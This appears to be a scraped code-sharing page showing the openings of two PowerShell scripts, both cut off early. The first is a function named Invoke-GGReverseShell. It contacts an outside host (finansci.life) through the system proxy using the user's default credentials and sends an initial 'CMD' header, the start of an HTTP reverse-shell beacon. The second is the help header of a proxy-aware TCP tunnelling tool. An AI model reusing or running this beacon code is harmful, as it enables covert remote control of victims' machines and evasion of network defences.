This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function Invoke-GGReverseShell | |
{ | |
$url = "http://finansci.life/p" | |
# handle proxies and used default creds if needed | |
$req = [System.Net.HttpWebRequest]::Create($url); | |
$proxy=[System.Net.WebRequest]::GetSystemWebProxy(); | |
$proxy.Credentials=[System.Net.CredentialCache]::DefaultCredentials; | |
$req.proxy = $proxy | |
# add our header | |
$req.Headers.add('CMD','INITIAL') |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<# | |
.SYNOPSIS | |
Creates a TCP Tunnel through the default system proxy. As such, it automatically handles proxy authentication if ever required. | |
Author: Arno0x0x (https://twitter.com/Arno0x0x) | |
License: GPL3 | |
Required Dependencies: None | |
Optional Dependencies: None | |
.DESCRIPTION | |
Creates a TCP Tunnel through the default system proxy. As such, it automatically handles proxy authentication if ever required. | |
.PARAMETER bindIP |